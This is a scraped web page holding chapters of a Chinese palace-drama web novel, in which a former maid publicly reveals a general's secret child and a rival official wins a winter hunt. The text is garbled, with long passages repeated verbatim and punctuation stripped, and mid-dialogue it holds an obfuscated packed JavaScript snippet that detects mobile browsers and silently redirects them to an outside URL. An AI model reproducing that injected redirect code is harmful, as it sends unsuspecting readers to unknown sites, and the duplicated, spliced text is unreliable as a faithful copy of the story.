她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 为**者,侍奉夫君是天经地义的事,就算云氏给萧清禾下药不对,那也是萧清禾任性拒绝同房在先。 旁人不知细节,只会觉得萧清禾被萧家养得太娇纵蛮横。 萧清禾不敢轻易开口落下话柄,云晚棠就能借这件事扣春喜一个忘恩负义的罪名。 老话都说宁拆十座庙,不破一桩婚,更何况春喜和萧清禾还不是血缘至亲。 只要今日能把春喜抹黑成喜欢插手别人家事的搅事精,皇后和诸位世家夫人都不会再愿意与她结交,就算恒阳公主再喜欢春喜也不足为惧了。 云晚棠很擅长做这种事,她已经想好要如何步步紧逼将春喜逼入绝境,这时突然听到春喜说:“的确是我劝禾儿跟卫凌泽和离。” “……”??? 云晚棠表情一僵,一度怀疑自己的耳朵听错了。 曹春喜没有辩解,反而大大方方的承认了这件事? 曹春喜知道承认这件事会有什么后果吗? 众人也都被春喜的坦荡惊道。 这人怎么连毁人姻缘都能说的这么理直气壮,理直气壮到像是在替天行道? 在众人的注视之下,春喜面不改色:“卫凌泽已经不是当初的卫少将军了,他辜负了禾儿,我身为禾儿的小婶婶,若不劝禾儿早日和离,恐怕会遭天打雷劈。” 春喜的反应在云晚棠的预料之外,但很快云晚棠就恢复镇定。 开弓没有回头箭,不管曹春喜要耍什么花样,她只要咬死曹春喜忘恩负义、毁人姻缘就好了。 这般想着,云晚棠开口质问:“沈夫人在卫家做过将近十年的丫鬟,离开卫家时,不仅得了一千两赏银,还得了整整一马车的绫罗绸缎,卫家待你不薄,你却搅得卫家家宅不宁,你的良心是被狗吃了吗??” “卫家的确待我不薄。” 春喜点点头,并不否认这件事,紧接着又道:“但萧家待我更是恩重如山,我不能因为得了卫家的好处,就替卫家保守秘密,眼睁睁地看着禾儿陷在火坑之中。” 云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 但真要和离,还得两家族老坐在一起商谈才行。 她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 为**者,侍奉夫君是天经地义的事,就算云氏给萧清禾下药不对,那也是萧清禾任性拒绝同房在先。 旁人不知细节,只会觉得萧清禾被萧家养得太娇纵蛮横。 萧清禾不敢轻易开口落下话柄,云晚棠就能借这件事扣春喜一个忘恩负义的罪名。 老话都说宁拆十座庙,不破一桩婚,更何况春喜和萧清禾还不是血缘至亲。 只要今日能把春喜抹黑成喜欢插手别人家事的搅事精,皇后和诸位世家夫人都不会再愿意与她结交,就算恒阳公主再喜欢春喜也不足为惧了。 云晚棠很擅长做这种事,她已经想好要如何步步紧逼将春喜逼入绝境,这时突然听到春喜说:“的确是我劝禾儿跟卫凌泽和离。” “……”??? 云晚棠表情一僵,一度怀疑自己的耳朵听错了。 曹春喜没有辩解,反而大大方方的承认了这件事? 曹春喜知道承认这件事会有什么后果吗? 众人也都被春喜的坦荡惊道。 这人怎么连毁人姻缘都能说的这么理直气壮,理直气壮到像是在替天行道? 在众人的注视之下,春喜面不改色:“卫凌泽已经不是当初的卫少将军了,他辜负了禾儿,我身为禾儿的小婶婶,若不劝禾儿早日和离,恐怕会遭天打雷劈。” 春喜的反应在云晚棠的预料之外,但很快云晚棠就恢复镇定。 开弓没有回头箭,不管曹春喜要耍什么花样,她只要咬死曹春喜忘恩负义、毁人姻缘就好了。 这般想着,云晚棠开口质问:“沈夫人在卫家做过将近十年的丫鬟,离开卫家时,不仅得了一千两赏银,还得了整整一马车的绫罗绸缎,卫家待你不薄,你却搅得卫家家宅不宁,你的良心是被狗吃了吗??” “卫家的确待我不薄。” 春喜点点头,并不否认这件事,紧接着又道:“但萧家待我更是恩重如山,我不能因为得了卫家的好处,就替卫家保守秘密,眼睁睁地看着禾儿陷在火坑之中。” 云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 第238章 当众对质 卫凌泽不仅早就变了心 众人皆被这个消息炸得回不过神来哪怕是云晚棠一时也有些不敢搭腔萧清禾迅速反应过来神色黯然地开口:“小婶婶我从来都没有怪过你你也不要如此责怪自己。” 萧清禾并未说卫凌泽不好只让春喜不要自我责备反倒更加证明了这件事的真实性。 是啊卫凌泽瘫痪三年萧家都未曾提出退婚足见萧清禾对卫凌泽的真心若不是卫凌泽变心在先萧清禾怎么会突然搬回娘家去住连话都不愿意跟卫凌泽说? 云晚棠敢主动提起这个话题是料定萧清禾不敢说出被婆母下药的真相但她忘了有些事越是不说明白留给人想象的空间就越大。 眼看众人都快信了春喜的话云晚棠意识到自己闯了大祸她立刻敛神跟着跪到春喜身边:“皇后娘娘泽儿对禾儿一片真心绝对不可能瞒着禾儿让别的女子生下孩子请皇后娘娘千万不要听信沈夫人的片面之词。” “皇后娘娘萧家知道真相后本来是想念在多年世交的份上给卫家留些颜面的但李夫人今日突然发难非要扣臣妇一个忘恩负义的搅事精罪名臣妇没有禾儿这样的宽宏大量必须说出真相证明清白若臣妇有半句虚言就让臣妇九族被诛、满门抄斩!” 春喜语气坚定声音洪亮这毒誓发的更是触目惊心让人不得不信。 云晚棠却险些呕血春喜出身低微跟娘家人几乎都不怎么来往了九族又能有什么人? 而且春喜说这话分明是把她架在火上烤若不是她多管闲事春喜根本不会吐露出这样的惊天秘密。 这要是宣扬出去阿姐和卫家该会是如何的怨恨她? “沈夫人你可知构陷朝廷命官该当何罪?泽儿眼下正在与使臣团比试若因此事乱他心境害他输掉比试你可担得起这个责?” 云晚棠再也维持不住平日的温柔优雅一句比一句声音大似乎这样就能让春喜闭嘴不再胡说八道。 然而她刚说完春喜便思路清晰地反问:“不是夫人先提起这个话题的吗夫人都不心疼自己的侄儿要当众拿他的事博关注我为什么要心疼?” “……”云晚棠噎住片刻后辩解道“沈夫人你休要胡说我是关心禾儿。” “哦?原来夫人关心人的方式不是私下安慰而是当众揭人伤疤啊?” 春喜挑眉语气很是阴阳怪气。 云晚棠想象中 的场景完全颠倒过来,先发制人的她被春喜打了个措手不及,而且春喜还步步紧逼,要撕下她多年的伪装。 云晚棠对春喜生出了恨意,后悔自己当初没有早点写信让阿姐秘密处死这个丫鬟。 她咬了咬牙,没有陷入自证的陷阱,把话题拉回来:“沈夫人牙尖嘴利,我说不过你,但沈夫人要抹黑泽儿,还请拿出确凿的证据来。” “我当初在卫家不过是个小小的丫鬟,怎可能掌握如此重要的证据,不过我记得那个怀孕的姑娘叫钱茵,是城西钱氏米铺的小女儿,她长得很漂亮,两年前被送进卫家,怀上孩子不久就被秘密送走了,萧家已经去核实过了,诸位若是不信也可去查查看。” 春喜说得有鼻子有眼,尤其是听到萧家已经去核实过了,众人已信了大半。 云晚棠说到底只是卫凌泽的小姨,她都不愿意看到卫凌泽过得不好,萧家难道会因为捕风捉影的话把萧清禾推上风口浪尖? 云晚棠把众人的眼色尽收眼底,她没有证据反驳春喜的话,只能大声质问:“若真有此事,沈夫人为何不早些通知萧家,反而要等到现在才说?” “我是想说的呀,但那天我去得不巧,卫萧两家正好在商谈婚礼事宜,我都没能见到禾儿,就差点儿**呢。” 听到春喜这话,萧清月的脸色一下子变得苍白,身子都跟着晃了晃,她难以置信地问:“原来小婶婶那天去萧家是为了说这件事的?” 萧清月备受打击的样子让春喜看着有些心疼,但戏唱到这里,春喜只能点头。 下一刻,萧清月哇的一声哭起来:“阿姐,对不起,那天是我让墨韵带人去给小婶婶一个教训的,小婶婶定然是被吓到了才不敢说出真相,阿姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979394|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是我害了你啊!” 萧清月说完抬手就给了自己两巴掌。 从小到大,阿姐都让着她疼着她,她原本以为春喜是会妨碍阿姐和姐夫幸福的钉子,想要替阿姐拔除,却不想阴差阳错间,竟然害得阿姐落入如此境地。 她欠阿姐的,这辈子都还不清。 “月儿,你别这样,”萧清禾心疼地抱住萧清月,“你该知道阿姐的性子,就算当时听说这些事我也不会甘心,这南墙我不撞得头破血流是不会回头的。” 姐妹俩抱在一起的画面让人动容极了,萧清月的反应也完美证实了春喜所言非虚。 春喜早就去过萧家,但那时她人微言轻,根本没有机会说出真相,直到嫁给沈清渊,看着萧清禾婚后过得不好,这才受不住良心的折磨,坦白一切劝说萧清禾和离。 难怪之前萧清禾跟恒阳公主去云山寺上香,卫凌泽会突然杀去捉奸,只怕是他早就变了心,平日对萧清禾很不好,所以才会担心萧清禾也像他一样背叛这段关系吧。 事情的发展远远超出了云晚棠的预料,春喜的应对实在是太及时太周全了,萧清禾和萧清月也像是早就和春喜商量好了,要在今天把屎盆子稳稳扣在卫凌泽身上。 局面已经这样了,这个时候,说得越多错得越多。 云晚棠很快做出决断,她放弃跟春喜继续掰扯,软了语气说:“我多年不在瀚京,对泽儿受伤后的事不是特别了解,但我相信泽儿的为人和卫家的家风,这里面一定有什么误会,卫家一定会彻查此事,也请沈夫人做好为今日这番言论负责的准备。” 云晚棠最后一句话很有深意,隐隐带着威胁。 春喜并不害怕,弯眸道:“我照顾了卫凌泽三年,自然能为自己的话负责,倒是夫人每次都是什么事都没弄清楚就跑来指责我,说好听点儿夫人是人美心善,说难听点儿,夫人这行径跟我家隔壁那道听途说、爱嚼舌根的李婶也没什么两样呢。” 云晚棠:“……” 若是有机会,她一定要把曹春喜这张嘴给缝起来! 第239章 你比他更适合做对手 云晚棠闭了嘴,春喜和恒阳公主安安静静地比起射箭来。 两人的准头都很不错,在不断拉开距离,几轮比试之后,最终仍是不分高下。 不过有卫家的劲爆消息在前,众人都没有心思惊艳春喜和恒阳公主的箭术了。 卫凌泽真的有私生子了吗? 当初卫凌泽瘫痪在床,谁也不知道他能不能好起来,萧家又推迟婚礼迟迟不肯履行婚约,卫家想给卫凌泽留个种也是人之常情,只是如此欺骗隐瞒,对萧清禾和萧家来说都很不公平。 卫家把那孩子藏哪里去了?孩子的生母是被金屋藏娇了还是已经处理掉了? 众人原本觉得冬猎可以看热闹,这会儿却恨不得能早点结束冬猎,回去派人探听更多的消息。 看出众人在想什么,皇后特意下令让大家不要私下非议,更不能在这种时候乱了卫凌泽的心神,若是害卫凌泽输掉比试损了昭陵国威,泄露风声之人罪同叛国。 皇后的语气虽然温和,说出来的话却十分严肃,众人连声应是。 傍晚,众人陆陆续续从围场回来。 卫凌泽和轩辕朗仍是前后脚,两人都是满载而归,远远超过其他人,卫凌泽的运气比较好,他猎到了一头野猪。 那头野猪的体型不算特别大,但獠牙很长,瞧着很凶悍,卫凌泽脸上有擦伤,衣服也被勾破了好几处,可见为了猎到它费了很大一番功夫。 靠着这头野猪,卫凌泽在数量上险胜轩辕朗。 禁卫军清点完宣布结果之后,好些人都忍不住欢呼出声,不是为卫凌泽高兴,而是为第一天开了个好头,把使臣团的气焰压了下去。 听着欢呼声,卫凌泽的背挺直了些,得意地看向轩辕朗,然而轩辕朗并没有看他,只用蹩脚可笑的腔调问:“陛下,今日最先猎到猎物的人回来了吗?我想看看他是谁。” 轩辕朗在听到信号弹之后,第一时间就朝那个方向赶了过去,但他没有找到人,甚至连一点儿可疑的踪迹都没有发现。 那是一个心思缜密且行动迅速的猎人,轩辕朗对他产生了浓厚的兴趣,甚至超过了和卫凌泽一较高下的念头。 轩辕朗刚问完,就听到了哒哒的马蹄声,众人循声回头,便见沈清渊骑着马驮着满满当当的猎物缓缓出现在众人面前。 距离近些,众人看到马脖子上驮着两头狼,顿时忍不住倒吸了一口凉气。 沈大人他不是文官吗,怎么打猎也这么厉害? 禁卫军早就把众人狩猎的情况通传回来,陛 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 